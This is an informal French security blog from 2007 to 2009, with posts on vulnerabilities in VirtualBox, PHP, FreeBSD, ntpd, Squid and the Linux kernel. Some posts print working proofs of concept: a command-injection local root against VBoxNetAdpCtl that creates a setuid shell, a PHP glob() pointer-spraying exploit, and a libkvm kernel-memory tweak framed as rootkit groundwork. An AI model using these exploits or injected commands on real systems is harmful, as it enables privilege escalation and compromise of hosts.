[clem1@0dayz ~]$ /usr/lib/virtualbox/VBoxNetAdpCtl "vboxnet0;cp /bin/dash /tmp/.r00t;chmod +s /tmp/.r00t" "11:11::11" netmask 255.255.255.0
vboxnet0: error fetching interface information: Device not found
SIOGIFINDEX: No such device
getaddrinfo: 255.255.255.0: -9
255.255.255.0: Resolver Error 0 (no error)
[clem1@0dayz ~]$ /tmp/.r00t
# id
uid=1000(clem1) gid=100(users) euid=0(root) (...)
# exit

Attention ça ne marche pas avec toutes les distributions car certaines implémentations de /bin/sh (celle de archlinux) doivent faire une sorte de seteuid(getuid()) avant d'exécuter un binaire. J'ai pas eu le temps de regarder en détail...

<privatejoke>
Les développeurs de VirtualBox méritent qu'on leur fasse gobber du flanby périmé. :-)
</privatejoke>

Faille DHCP...

2009-07-15T13:19:00.000-07:00

CHAIDUBIO.

https://bugzilla.redhat.com/attachment.cgi?id=349164

Avec bien sûr :

struct iaddr {
int len;
unsigned char iabuf[16];
};

phiew

Je pense que ça vaut le coup de me remettre à PCS. :-)

VLC windows backdoor released

2009-06-26T07:31:00.000-07:00

Des hommes en chapeau blanc ont trouvé la backdoor windows déposés par les moulasses de chez VLC. J'adore le message de commit. \o/

Sinon y'a fuzzgrind qui a été publié, du python, du python, du python, c'est BON !

Je retourne à mes nuts.

Je ne suis pas mort.

2009-06-15T11:10:00.001-07:00

Coin les moulasses,

Après 3 mois de codage très intensément mava-esk dans les caves d'ig2k, me voilà de retour au taf où je pourrais bloguer à volonter comme les légumes à flunch et ce, malgré que je sois surveillé. ;-)

Allez oust, quelques niouzes sayku de ces dernières semaines.

Phrack numéro #66 est sorti et même si je n'ai pas encore lu tous les articles, je peux déjà dire qu'il rocks des ours. À l'instar du numéro #57, on retrouve pas mal d'articles sur l'exploitation d'heap overflow en userland pour détourner toutes les protections qui ont été ajoutées aux différents allocateurs (ptmalloc2) et même en kernel land sous FreeBSD et Linux (miam). En plus de phrack, j'ai mon voisin aux cheveux longs et au commit bit freebsd qui a les actes du SSTIC posé sur sa table... miam miam les articles sur le fuzzing qui m'ont fait découvrir catchconv ou bunny-the-fuzzer...

Au niveau des vulns, y'a FreeBSD qui a fait fort la semaine passée avec :

* une couille dans les ioctl v6

Dans les ioctl(2) d'IPv6, ils ont laissé une commande (SIOCSIFINFO_IN6) en écriture en openbar pour tout le monde. Un user basique peut placer une MTU très faible sur une interface v6.

* un integer overflow dans le "direct write" des pipe(2) anonymes

Poufpouf le codaj :


int i, j;
vm_offset_t addr, endaddr;
(...)
pmap = vmspace_pmap(curproc->p_vmspace);  
endaddr = round_page((vm_offset_t)uio->uio_iov->iov_base + size);  
addr = trunc_page((vm_offset_t)uio->uio_iov->iov_base);  
for (i = 0; addr < endaddr; addr += PAGE_SIZE, i++) {  
  (...)

size correspond, à quelques checks près, à la taille de la zone à écrire dans le pipe, lors de l'opération uio->uio_iov->iov_base + size pour déterminer l'adresse de la fin de zone, un integer overflow peut intervenir. Ainsi dans ce cas, des données confidentielles du noyau ou d'un autre process peuvent être écrites dans le pipe, reste plus qu'a les lire de l'autre côté. :-)

* une pluie de stack overflows dans ntpd

La meilleur pour la fin avec ntpd et ses 19 stack overflows potentiellement exploitables. Allez voir le patch, ça fait peur. :-)


    peer->flash &= ~TEST8;
    temp32 = cinfo->nid;
-   sprintf(statstr, "cert %s 0x%x %s (%u) fs %u",
+   snprintf(statstr, NTP_MAXSTRLEN,
+    "cert %s 0x%x %s (%u) fs %u",
     cinfo->subject, cinfo->flags,
     OBJ_nid2ln(temp32), temp32,
     ntohl(ep->fstamp));

OK, tous ne sont pas exploitables mais quand même. On peut dire ce que l'on veut sur OpenBSD mais c'est pas dans leur code qu'on trouvera ce genre de chose. :-)

Sur ce, grep -r "sprintf\(" /usr/src/

Détection de moufleurs.

2009-02-26T12:40:00.000-08:00

Toi aussi, tu en as marre d'embaucher des moufleurs professionnels ? Voici la solution... des questions C bourrées de gros toupper("poils"[4]).

À la fin du questionnaire, on a un programme phouny:

void foo(void);
int main (void)
{
int i=2;
foo();
printf ("%d\n",i);
return EXIT_SUCCESS;
}

void foo(void)
{
// add code so that printf above prints different value of i (i.e. not 2)
}

Le but du jeu c'est d'afficher autre chose que 2 rien qu'en ajoutant du codaze dans foo(). Leur réponse est simple:

No, there is no portable, standard compliant way to modify main's "i" from foo

Bon... leur réponse est correcte, si vous devez faire ça dans un vrai projet alors changez de langage de codaze... Mais pour le fun, si jamais vous tombez sur une queston du genre en entretien, vous pouvez dire que c'est possible en parsant la stack depuis foo pour remonter jusqu'a i ou en __asm__ en récupérant l'ebp sauvé sur la pile et en faisant en movl sur (ebp) avec l'offset qui va bien pour tapper dans i. Ces deux solutions sont super dépendantes de l'archi (x86 ici).

La première solution donne:

void foo(void);

int main (void)
{
int i=2;
foo();
printf ("%d\n",i);
return EXIT_SUCCESS;
}
void foo(void)
{
int *t = &t + 11;

*t = 1337;
}

[clem1@toop tmp]$ gcc -o coin coin.c && ./coin
1337

D'autres solutions les barbus ?

PS: En une semaine je viens de remplir mon quota de billets pour les deux années à venir. :-)

Ça fuzz toujours...

2009-02-20T10:30:00.000-08:00

Barbusses, barbus, bonsoir.

Y'a quelques jours, un monsieur d'une grosse boite qui assemble des transistors, m'a contacté me demandant où se trouvait le rapport ainsi que le code pondu lors de mon Summer Of Code 2006 sur la sayku des piles IPv6 des OS... Surpris, je lui ai gentillement répondu que j'allais lui fournir le ouaraize quand j'aurais accès à ma vieille babasse piquante sur laquelle se trouve mon ancienne webpage...

Curieux, je me suis remis à modifier un peu mes fuzzers de l'époque qui m'avait permis de détecter quelques bugs exploitables sous minusk (hein spacemonkey? [0]) et sous *BSD. Après quelques minutes de fuzzage, je suis tombé sur un petit bug intéressant qui permet de dumper 4 bytes de la stack noyau avec un simple getsockopt. Le descriptif se situe ici. En bref, lorsque l'on fait un getsockopt avec un SO_BSDCOMPAT en option, le kernel descend en espace utilisateur une variable locale (un entier) non initialisée.

C'est une faille de merde mais ça montre que des fuzzers vieux de 3 années peuvent être re-utilisés pour trouver de nouvelles failles dans un code qui évolue tous les jours (noyau minusk). Je suis sûr qu'il doit en y avoir pleins d'autres du même genre avec des ioctls par exemple. ;-)

En fait, je ne savais pas mais mes joujous semblent bien servir.

Voilà, posté après le boulot [1], bon week-end, #@!

[0] Si, par malheur, tu lis ses lignes, bein j'espère que tu vas bien.
[1] Parce que y'en a qui surveille... ;-)

Bonjour, je code avec des moufles.

2009-02-12T00:41:00.000-08:00

Hello les moulasses,

Aujourd'hui on va causer des moufleurs... des gens qui codent avec des moufles.

Squid.

Chez squid, ils ont des moufleurs professionnels qui laissent des asserts dans le code qui sont basés sur des variables qui sont indirectement controlables par l'utilisateur (entête HTTP de réponse du serveur HTTP).

Tout se passe dans la récupération des numéros de version du protocole HTTP dans la réponse du serveur (HTTP/1.0 200 OK)... Voici le snippet pour la récupération de la version majeure:

162 int i = 0;
163 int retcode;
164 int maj = -1, min = -1;
(...)
257 /* next should be 1 or more digits */
258 maj = 0;
259 for (; i < hmsg->req_end && (xisdigit(hmsg->buf[i])); i++) {
260 maj = maj * 10;
261 maj = maj + (hmsg->buf[i]) - '0';
262 }
(...)
296 assert(maj != -1);

Comme maj est déclaré en signed int, nous pouvons mettre une grosse valeur dans la version HTTP pour, qu'après la boucle, maj soit égale à -1 et que ça assert en beauté. Taddam.

C'est la même chose pour la récupération du la version mineure. C'est la classe les asserts en prod. \o/

Wireshark.

*privatejoke* "Vous connaissez wireshark ? C'est un outil très puissant." *privatejoke*

Chez wireshark, ils ont aussi de belles petites moufles.

Banzaï !

Moi à ma maison, je patche mes int. overflow avec calloc.

2008-12-02T00:21:00.000-08:00

Pouette les moulasses,

Je resors de ma Tombe.java pour mettre en valeur un super patch bien moisi from VLC. :)

http://git.videolan.org/?p=vlc.git;a=commitdiff;h=d19de4e9f2211cbe5bde00726b66c47a424f4e07

Depuis quand calloc() *DOIT* checker les integer overflows? Minusk et FreeBSD le font avec dmalloc et jemalloc mais pas phkmalloc (d'après mes souvenirs).

Qu'est-ce qui se passe si i_index_count est à 0xFFFFFFFF ? Sbam ?

int main(int ac, char **av)
{
size_t index = 0xFFFFFFFF;

char *coin = calloc(index + 1, sizeof(int));
char *coinn = malloc((index + 1) * sizeof(int));

printf("%p\n", coin);
printf("%p\n", coinn);
}

OK avec 0x7FFFFFFF ou 0x80000000.

Humpf. Faut qu'on m'explique ?

UPDATE: Ah bein le patch vient d'être mieux à jour. Saymieux.

PS: clem1.be devient provisoirement (jusqu'au 20 décembre) clem1.prout.be.

CRACHE PAS DANS MON COREDUMP #@!

2007-12-06T05:07:00.000-08:00

3 ans et 2 mois...

C'est le temps qu'il a fallu aux jardiniers du kernel linux pour corriger une fichue faille de sayku sur la génération des coredumps. « BEIN OUAIS LINUX SAY SAYKURE »

Explication avec un exemple àlakon:

(clem1@clem1:/tmp)$ ./haha coin
Erreur de segmentation (core dumped)
(clem1@clem1:/tmp)$ strings core | grep coin
./haha coin
(clem1@clem1:/tmp)$ ls -alh core
-rw------- 1 clem1 clem1 140K 2007-12-06 14:16 core

(clem1@clem1:/tmp)$ su
clem1:/tmp# ./haha phucklinusk
Erreur de segmentation (core dumped)
clem1:/tmp# ls -alh core
-rw------- 1 clem1 clem1 140K 2007-12-06 14:17 core
clem1:/tmp# exit
exit
(clem1@clem1:/tmp)$ strings core | grep linusk
./haha phucklinusk

Bon OK, c'est une faille moisie mais bon le patch est trivial (plus de commentaires que de codaje) et je ne comprend pas pourquoi ils ont mis 3 ans pour la corriger.

if (inode->i_uid != current->fsuid)
goto close_fail;

Elle a été corrigée dans la dernière RC du 2.6.24... et pour les workarounds moisis c'est par là

clem1:/tmp# echo 1 > /proc/sys/kernel/core_uses_pid

ou mieux

clem1:/tmp# echo "/cores/%N/%H.core.%P" > /proc/sys/kernel/core_name_format

Il est a noté que FreeBSD est également vulnérable et que la faille a été reportée au même moment que celle dans minusk...

Ceci était un billet àlakon (pour pas changer) pour signaler que j'étais toujours en vie... vive les parisiens.

Nain Génieur du 2000

2007-10-11T09:45:00.000-07:00

Bonsoir les moulasses [0],

Y'a des jeudis après-midi où on ne sait pas quoi faire (c'est rare) et où on se dit, « tient et si je postais un billet à la con sur mon pseudo-blog histoire de dire que je suis encore là même un mois après une rentrée à NainGénieur2000 où on nous a dit qu'on deviendrait des larves à bosser au lieu de dormir [1]. »

Vive le Nord.

Aurevoir les vaches deuchnord, bonsoir celles de Paris [2]. :-)

Nain Génieur 2000.

Premier mois de vacances à l'école, on a appris à dessiner des bonhommes avec des * en C, on a appris à faire des hello $1 en babash, on a appris que « DNS servait à résoudre des *URLs* », que les « RR MX n'étaient plus utilisés », on a disserté pendant 6 heures de cours sur « Est-ce que notre vie est une base de donnée? »...

Tout comme mon keupinge sbeuze, je me suis fais insulter^Wgeekiser (HANLEGRUIK) dessus par les *classmates* qui sont les premiers à sortir le portable avec saleOS (TULULULULU) pour faire un bomberman en rezal, la PSP pour faire du virtual tennis, pour matter des monsters^Wfilles sur skyblork et toussa dès qu'on a une pause de 30 secondes.

Sinon je viens d'apprendre que l'école change de nom pour un nom moins clownesque qui fait peur et qui veut rien dire... Moi qui voulait avoir un NainGénieur2000 sur mon CV, dois-je démissionner?

Sinon à part ça, rien de sérieux, désolé si vous vous êtes pris la peine de lire mes conneries jusqu'au bout en espérant avoir du prosels vers la fin. Bon allez des trucs en vracage quand même:

- une implémentation en mousse trouée du code de hamming.
- des bons petits cours bien poilus made in belgium (pour de vrai #@!)
- pleins de prosels mythonesque.
- wootz usenix2007 saysayku.
- uninformed dans ma TODOREAD.

AtchaoBonsoir.

[0] L'utilisation du singulier aurait été plus appropriée. ;-)
[1] ou tout autre activé nocture.
[2] bonsoir à ma voisine qui ne passera jamais ici, merci pour le mifi.

rand() & 0x7

2007-08-25T03:09:00.000-07:00

Bonsoir les moules,

Je suis en vacances, il pleut, ma TODOLIST est *presque* vide, que fait-on? On ~~parcourt la skyblogosphère et on lache des coms'~~ poste un billet bourré de prosels plus ~~ou moins~~ inutiles sur son pseudo-blog...

Commençons par le plus intéressant... ma vie.

- NAPUSTAGE.

Eh oui, mon stage chez les barbus s'est terminé le Vendredi 3 août à 18H01. C'était sympa... j'ai appris pas mal de nouvelles choses (techniquement parlant, humouristiquement parlant, humainement parlant et toussa). Je suis donc en vacances depuis ce jour et quand je suis sur le PC [0], je passe mon temps à faire des missions codaze que je trouve sur des sites comme codeur.com, progonline.com, rentacoder.com, odesk.com... OK, y'a pleins de projets ouaib20, CECHARPE, JavaMoisi, PAYHACHEPAY mais parfois on peut tomber sur le serpent de Guido.

- GRANDMOISY.

HopHop, j'ai trouvé un appartement grace à M. sbaize du nokia N800 (MERCI). Il se trouve à Noisy-Le-Grand (NEUFTROIS BÉBÉ) et est situé à 5 minutes de l'université et à une minute du RER-A donc pince à tétons. Je serais officiellement un monsieur du 2000 le 17 Septembre à 9H00. :-)

Maintenant, le prosel de l'été 2007

- MERCISTAGE.

Eh oui, en plus du peignage de girafes intensif, j'ai découvert des trucs convives lors de mon périple à machinASQ.

- rubber pour les semi-allergiques au LaTeX (conversion des images en EPS, deux compilations pour le prix d'une, compression, ...).

- dblatex pour ceux qui ont honte de faire du DocBook.

- pida un IDE en python qui utilise *TES* joujous.

- rxvt-unicode pour avoir des TABS avec du TEFTEF8.

- BLACK.

Les papiers defconblackhat sont en lignes un peu partout. Le papier sur les Dangling Pointers (cf. billet précédent) est orienté vers l'objet et le C++ mais les principes sont en gros les mêmes que ceux expliqués dans mon billet. J'ai regardé les autres papiers mais il n'y a rien de faramineux (ai-je loupé un truc?).

- MYTHON <3

Enlarge your pynis.
MiamMiam les cerises.
Parse the wwworld padawan.

*BANZAIIIIII*

*PUPUPUB* Bientôt sur vos écrans, des challenges de vuln-dev à la 0xBADC0DED.

[0] vive les beaufs, vive le Nord, vive la pluie.

Aujourd'hui, le balancement de pointeur...

2007-07-27T12:32:00.000-07:00

Messieurs ~~dames~~,

Le programme de la blackhat[1] vient d'être laché dans la jungle. Au programme, du réréréchauffé bien sûr, du *yeah* j'ai trouvé un remote root dans puffy... et les DANGLING POINTERS de monsieur Jonathan Afek.

Ça fait classouille devant les gonzes de parler de dangling pointers mais c'est quoi? Bein c'est tout simplement un pointeur non-initialisé ou "plus valide" (ej. après un free)... je pense qu'il peut remballer ces expressions barbares le monsieur.

Qu'est-ce qu'il va présenter sur ces pointeurs un peu trop poilus?

Until now there was no publicly known remote exploitation of this type of bug. Watchfire security researchers discovered a practical method of exploiting this issue and will demonstrate for the first time an example exploitation that involves a remote command execution vulnerability.

NON D'UNE PIPE EN BOIS.

Bon OK, il va peut-être montrer un truc de ouf qui fasse hisser les tétons, mais de là à dire qu'aucune exploitation à distance de ce type de bug n'a jamais été publiée... humhum j'en doute. À mon souvenir j'ai déjà vu des barbus (FLAKE FLOCK et non mercy) parler de "HEAP/STACK/ZIZI spraying" et d'"Exploiting Uninitialized variables" et des exploits ont été publiés, sisi... quoi tu me crois pas? Bon OK, on va prendre une vuln. au pif... ou pas... ET PAN. :)

PHP Glob() Function Arbitrary Code Execution Vulnerability.

Tadam, explications.

Le glob() de PHP n'est qu'un wrapper à son homologue de la libc qui prend en argument une structure glob_t qui contient des pointeurs sur fonctions qui seront appelées si on passe le flag GLOB_ALTDIRFUNC à la fonction. Or PHP n'initialise pas sa structure glob_t qu'il déclare sur la pile et ne vérifie pas l'argument $flags que l'on passe à glob() donc...

(clem1@pouik:~/vulndev/php/glob)$ cat bookak.php
<?php glob("coincoin", 64); ?>
(clem1@pouik:~/vulndev/php/glob)$ php bookak.php
Segmentation fault: 11 (core dumped)

(64 == GLOB_ALTDIRFUNC sur FreeBSD)

(clem1@pouik:~/vulndev/php/glob)$ gdb -c php.core php
(...)
#0 0xbfbfe76d in ?? ()
(gdb) print globbuf
$1 = {gl_pathc = 140, gl_matchc = 0, gl_offs = 0, gl_flags = -1073742081, gl_pathv = 0x7263696d,
gl_errfunc = 0, gl_closedir = 0x65, gl_readdir = 0xbfbfe770, gl_opendir = 0x8c,
gl_lstat = 0xbfbfe76c, gl_stat = 0x2}

OK, la structure globbuf (glob_t) n'est effectivement pas initialisée et quand on passe le flag magic, la fonction glob() de la libc tente d'appeler la fonction gl_lstat référencer dans la structure par un pointeur.

Bon maintenant, il faut réussir à faire quelques choses avec ce pointeur...

Première solution, on regarde où il pointe et on essaie de claquer quelques choses de bien à cette adresse. Pour cela soit on le fait à la belge et on claque pleins de trucs à la con avant notre glob() soit on regarde d'où vient cette adresse^Woctets posés sur la stack en analysant le flot d'exécution du programme. C'est un peu chiant mais j'ai réussi à avoir un exploit reliable (il est pas mal ce mot aussi) pour FreeBSD et php5, non vous ne l'aurait pas.

Deuxième solution, c'est la plus simple, on va éjaculer du pointeur poilu sur la pile, pour cela on regarde dans les sources de PHP si on a pas de fonctions qui font des fread ou autres sur un char buffer[] énorme et il y en a pas mal... sha1_file(), readfile()... On crée alors notre fichier qui va contenir pleins de fois l'adresse qu'on veut voir dans gl_lstat, on appelle sha1_file() sur ce fichier et on appelle notre 3v1l glob()... et paf... cacahuètes. Démonstration les amis...

(clem1@pouik:~/vulndev/php/glob)$ cat cacahuete.php
<?php
$ret = "\xDE\xDE\xDA\xDA";
$buf = str_repeat($ret, 8000);
$foo = fopen("owned", "w");
fwrite($foo, $buf);
fclose($foo);
sha1_file("owned");
unlink("owned");
glob("TU SENS LA MOULE", 64);
?>
(clem1@pouik:~/vulndev/php/glob)$ php cacahuete.php
Segmentation fault: 11 (core dumped)
(clem1@pouik:~/vulndev/php/glob)$ gdb -c php.core php
GNU gdb 6.1.1 [FreeBSD]
(...)
#0 0xdadadede in ?? ()

PINCE À TÉTONS #@!#@! et ça works même avec le patch qui sens le sushi pas frais du php-security-man.

Bon OK, c'était pas vraiment à distance mais c'est presque pareil.

Rendez-vous après la mise en ligne de la présentation. ;-)

[1] ah bon? y'a des gens en costard à la blackhat? gni?

Pour deux 0days achetés, le troisième est offert!

2007-07-07T02:00:00.001-07:00

500euros le 0day! MADAMOISELLE! Achetez mon 0day!$!#@$

On en rêvait, wslabi l'a fait... iDefense, ZDI, DigitalCaca ne veullent pas de ton 0day qui défonce l'anus, pas grave, tu peux maintenant le vendre aux enchères à une personne inconnue à travers le MarkerPlace des wabiwabi. Tu peux même revendre des exploits moisis qui tournent sur IRC depuis au moins un an qui exploitent des failles qui ont été fixées ~~dans la silence~~ (cf. l'exploit local dans la pile IPv6) ou même des exploits pour des injections SQL dans des scripts-php-ou-plugin-de-la-mort.

Pour l'instant, il y 4 offres...

- Un exploit pour un déférencement de pointeur NULL dans la pile IPv6 du kernel Linux. Je l'avais trouvé lors de mon Summer Of Code et un singe de l'espace l'avait exploité en deux minutes pour dumper toute la mémoire de la quenouille... un mmap() à NULL avec une ev1l structure, un getsockopt() qui va bien et pouf, chocapic. Il est à 600euros là, ouch.

- Une faille dans le plugin GPG de squirrelwebmail avec un *PROOF DE CONCEPT*. Rien qu'avec le titre et la description de la vulnérabilité, ça doit prendre 2 secondes de la retrouver et de l'exploiter. *supaire* 600euros aussi pour le bouzain.

(10:53)(clem1@pouik:~/vulndev/gpg)$ grep exec\( *.php | wc -l
20

- Y'a aussi une injection SQL (woodoo) dans un script PHP poilu et un remote buffer overflow dans Yahoo Messenger qui nécessite l'aide de l'utilisateur (pas un problème c'est tous des cons). Est-ce que Yahoo va débourser la somme de 2000euros pour chopper l'exploit?

Pourquoi ils font ça ? Parce que:

“ WSLabi plans to verify the identities and claims of both the buyer and seller. ”

AH LES PTITS MALINS !#@§

Un peu de lecture pour le week end: http://weis2007.econinfosec.org/papers/29.pdf.

Bon allé, je m'en vais vendre mes exploits pour Supra-Caca-PHP-Beta,
Bonne année,

Du prosel en vrac...

2007-06-17T00:54:00.001-07:00

Comme je sais que 2 ou 3 personnes *blorguent* sur mon blog, je vous mets un peu de prosels #@!

- SSTIC2007

Encore une fois, je n'y étais pas mais les actes sont en lignes. Je fini la lecture du p64 et je me lance dans la lecture de ce qui touche au quenel Linux et à l'IPv6. :-)

- Table ronde de sécu. aux RMLL

Ce n'est pas encore sûr mais je serais sûrement aux RMLL pour assister à la table ronde sur la sécurité. C'est un collègue de boulot[1] qui organise ça et ça risque de bien troller avec Alan Cox et Torvalds. « Pourquoi Debian patche des failles dans la quenel 2 ans après qu'elles soient publiées ? » « Pourquoi on me répond jamais sur security@freebsd.org ? » « Pourquoi on patche des failles dans la quenouille Linux en les faisant passer pour de simples bogues... comme ceketuveuxBSD ? »...

- À poil Stefan Esser.

(09:56)(clem1@pouik:~/phpowned/)$ php foo.php
[Sun Jun 17 10:16:43 2007] Script: 'foo.php'
---------------------------------------
/usr/ports/www/mod_php5/work/php/Zend/zend_alloc.c(1491) : Block 0x082a0030 status:
Beginning: OK (allocated on /usr/ports/www/mod_php5/work/php/Zend/zend_alloc.c:1570, 8236 bytes)
Start: OK
End: Overflown (magic=0x0000005A instead of 0xB5D105A9)
At least 4 bytes overflown
---------------------------------------
Segmentation fault: 11 (core dumped)
(09:56)(clem1@pouik:~/phpowned/)$ php fooo.php
Segmentation fault: 11 (core dumped)
(09:42)(clem1@pouik:~/phpowned)$ php foooo.php
strrchr
Warning: Wrong parameter count for strrchr() in foooo.php on line 49
Segmentation fault: 11 (core dumped)

Affaires à suivre... ou pas.

- clamAV aka SAYPASEXPLOITABLEMONSIEUR #@!

Dans ma boite[1], j'ai dû m'occuper du patchage de clamAV, la faille en question est décrite ici et IMHO ce n'est pas qu'un simple DOS. Je n'ai pas eu le temps de faire mumuse avec mais dès que j'ai le temps je regarderai. J'ai des .rar qui trigger la faille pour ce qui n'en veullent...

- IPv6 & Honeypots

Bon même si toutes les vulns trouvées ne sont pas corrigées, je m'en bas les miches, je vais publier le papier que j'ai écris pour le google SoC 2006 sur la moisissure de la pile IPv6 des BSD. *grotrollmielé*Je vais aussi publier mon PDF sur les honeypots, un projet réalisé à l'IUT.*grotrollmielé*.

- Monsieur2000

Sayé c'est officiel, je suis un Monsieur du 2000 avec la boite qui va bien... qui fait de la veille de sécu, des outils en JAYPAYHELL, du python et tout ça sur des debian... Oué oué, CORPORATE #@!#@#!... rendez-vous aux sstic2008, ossir, jssi...

[1] C'est une boite qui comme Apple, vend des FreeBSD.

C'est moi qui a la plus grosse #@!#!

2007-05-20T02:16:00.000-07:00

Les gens, la libkvm, sur le supra-cacahuete-OS-libreBSD, ça dézingue. Tu peux tripoter ton noyal à chaud sans panicage (modulo la compétence du périphérique entre la chaise et le clavier). Je connaissais les astuces du père Cesare pour cogner du /dev/kmem sous GNU/Linux mais pour les BSD je ne connaissais pas l'existence de cette librairie dans le système de base qui permet de faciliter grandement l'écriture d'un rootkit bien poilu (quoiqu'on peut pécho tout ce qu'il faut dans les sources de suckit).

Attention les gens, ouvrez bien les yeux, démo:

pouik# uptime
11:15 up 1 days, 41 mins, 1 user, load averages: 0,36 0,37 0,29
pouik# ./up 1337
(!@#) old boottime: { sec = 1179650098, usec = 821065 }
(!@#) new boottime: { sec = 1064133298, usec = 821065 }
(!@#) upgradaze: SAYGOOD.
pouik# uptime
11:15 up 1337 days, 41 mins, 1 user, load averages: 0,24 0,37 0,29

TADAM, un kvm_read, un kvm_write et HOPLA! La uber-mega-classe du zizi! Le codaze est là.

Pour ceux qui veulent se lancer dans l'écriture d'un trucpasbien, du prosels:

- aleluya
- man 3 kvm
- /usr/src/lib/libkvm/
- google!

Le prosel de la semaine!

2007-05-18T01:05:00.000-07:00

Un peu de niouze en vrac pour faire bien:

- DU FUZZAGE AKA TUVASPLANTERGRONIACE#@!

Avant de passer au Hachoir, Monsieur Haypo nous dévoile son fuzzer de la mort écrit en python.

Les résultats sont prometteurs.

Le principe de son outil est néanmoins très proche de celui de zzuf écrit par sam mais en C.

Comme je suis dedans aussi (OHOUI), j'ai quelques idées de fuzzers intéressants en me basant sur l'idée des deux Monsieurs (fuzzage *presque* à la volée). J'en parlerais peut-être dans un billet futur. ;-)

- UNINFORMED AKA NONCESTPASLENOUVEAUPHRACK!

Le septième opus de l'e-zine uninformed, au programme 3 articles:

- I)ruid t'aide à retenir tes mots de pass (palu).
- skape zigouille à moitier les cookies générés par la protection /GS, le -fstack-protector de visual studio (trèbien).
- skape, encore lui, nous apprend à monitorer les accès mémoire d'un processus en claquant des doigts (trèbien).

Perso, je préférais celui d'avant où on apprenait à envoyer du shellcode bien poilu dans les airs.

- GCC 4.2 est sortie avec son -fstrict-overflow (affaire à suivre avec le -fstack-protector).

- samba est bouré de failles à la con.

- Je suis pris chez les Monsieurs du 2000!

Meuh, Mooh, Mutt...

2007-05-13T08:03:00.000-07:00

Parce que Thunderbird 2 c'est une usine à gaz. (63méga dans le bouzain-vive)
Parce que la console ça fait uber-méga-classe-du-zboobish.
Parce que ça suce pas mon vieux SAYPAYHU.
Parce que... Parce que...

Eh bein j'utilise Mutt les enfants, "the very powerful text-based mail client for Unix operating systems" et c'est bien(tm). J'ai même claquer une random-signature-de-la-mort.

Voici quelques comalinks qui pourraient servir:

/usr/local/share/doc/mutt/manual
du tips poilus
docaze made in gentoo
le muttrc de nbareil

Et en plus ça lit les mails.

La faille de la semaine.

2007-04-30T11:20:00.000-07:00

MESSIEURSDAMES ATTENTION...

On peut pirater les honeypots... la preuve.

Heureusement qu'il y'a des personnes qui ont le poil lisse et luisant pour lui faire comprendre très gentiment que c'est une grosse merde.

À quand le « kojoney remote root »? À quand le retour des modérateurs sur bugtraq?

Bonjour les futurs ingénieurs du 2000!

2007-04-29T10:17:00.000-07:00

INGENIEURS2000 ÇA DÉCHIRE LES SLIPS MESSIEURS!

Bon, Samedi matin, 6 heures pétantes, direction la maison des examens à Paris, pour y passer des... examens pour... rentrer dans l'école des ingénieurs du 2000. Après, une re-configuration du GPS, made in belgium, et cinq tours autour de la grande maison, nous y voilà! BONJOUR MONSIEUR, JE VEUX ËTRE UN INGENIEUR DU 2000!

9h30, épreuve d'anglais. Bryan is in the kitchen2000.... Where is Bryan?

A- In the bathroom2000
B- In the bedroom2000
C- In the kitchen2000
D- IN YOUR ASS2000!

10h50, épreuve de français. Il faudra que tu...

A- aye
B- vas
C- vasse
D- ailles

12h50, mangeage à la baraque à frites du père rachid.

13h30, épreuve de MATHS... où ça devient un peu sérieux et où je n'ai pas fais le malin quand j'ai vu arriver une armée de matrices bien poilues. Mais bon, pas de quoi faire un gros caca à claquer de la neuronne sur une feuille de brouillon rose fluo. [1]

Au niveau de la gente2000, pas un seul barbu, pas un seul tshirt de gros geek des cavernes, pas une seule gonzesse (ah si?) mais du gamers (EH VAS Y QUE JE TE FAIS PETER LA PSP À LA PAUSE!), du lecteur fou (FLEURS DU MAL) et des clowns.

19h, retour à la casa.

Résultat le 18mai! Serais-je sélectionner pour être un ingénieur du 2000? Envoyez -1 par SMS au 0813371337 pour OUI ou 0xffffffff pour NON.

Sinon, juste comme ça, je suis en stage au milieu des barbus de netasq, je ferais un billet à l'occasion... ou pas.

Je recherche aussi une entreprise aux alentours de Paris qui bosse dans le libre et/ou la sécurité pour me prendre en apprentissage avec l'école du 2000. root@clem1.be :-)

[1] au moins, ça suivait avec les polos/pulls/tshirts de certains, MOUARF :-)

JOJO C'EST UN MONSTRE!

2007-04-08T00:58:00.000-07:00

Pouaaak! Après l'exploitation d'un déférencement de pointeur NULL dans le kernel d'OpenBSD aux CCC du Maitre Fuzzer Ilja, c'est au tour de Joel Eriksson et ses amis de bitsec de faire le show à la blackhat d'Amsterdam en s'attaquant aux kernels de FreeBSD, NetBSD et Windows.

Je n'ai pas assisté à la présentation mais un excellent papier a été publié et il vaut son pesant de cacahuètes!

Dans ce papier, nous n'avons pas qu'une banale description des failles mais carrément une description des techniques utilisées pour les exploiter et ÇA LES AMIS, ÇA ARRACHE LE ZIZI... Même si le terme "kernel" peut faire irrisser les poils de certains, l'exploitation de ce genre de vulnérabilité est bien plus simple qu'en userland où depuis quelques années des méchants bonhommes verts jouent avec des canaries bien poilus, balancent des octets blancs en sautillant dans tous les sens... pour effrayer les shellcodes. À l'inverse, dans le monde du noyal, tout est beau, tout est rose... nous avons des pointeurs sur fonctions, des tables de syscalls, des saved EIP, des mbufs croustillants et toussa qui se baladent tranquillement tout nu... et qui sont ouverts à toute proposition même les plus déjantées (cf. la backdoor du Monsieur qui fait le café en recevant des management-frames).

En complément de l'article, comme nous n'avons pas les bouts de code qui vont avec, on peut zieuter l'exploit contre OpenBSD [1] de coresdi qui fait mumuse avec l'entête d'un extended mbuf comme pour l'exploitation de la faille trouvée dans NetBSD.

À quand un fuzzer d'ioctl() spécial 802.11?

[1] OH NOOOOOOOOOOOON

Deux ans de...

2007-04-05T13:48:00.000-07:00

Hoplà, mon DUT peignage de girafes euh non réseaux et télécoms se termine avec un mini-stage que je vais effectuer chez netasq. La fin de...

Deux ans de compilage... où nous avons appris à aimer le java... Eh oui, même si c'est de la grosse merde, que ça avance pas une cacahuète... bein c'est PORTABLE les amis et ça s'écrit bien... dans eclipse.

Deux ans de radiation... où nos cervelles, bien que très molles, ont réussi à surmonter la charge causer par les ondes radioélectriques pour tracer de jolies FFT sur des oscillos d'extra-terrestre.

Deux ans de sadisme... où nous avons appris à administrer un serveur sous Mandrake à partir d'un KDE tout rouge et à bien-cliquer-où-il-faut sur du microsoft windows server 2003.

Deux ans de train... avec la blonde de Lillers, la brune d'Iseberg, ~~la rousse d'Hazebrouck~~...

Deux ans de RU... où "MOI JE MANGE DES FRITES", "Y'EN A MARRE! INTÈGRE-TOI MERDE!", ~~"MATTE MOI CE BOULE"~~...

Deux ans de carnage... à killer du quake le midi!

Deux ans... Deux ans...

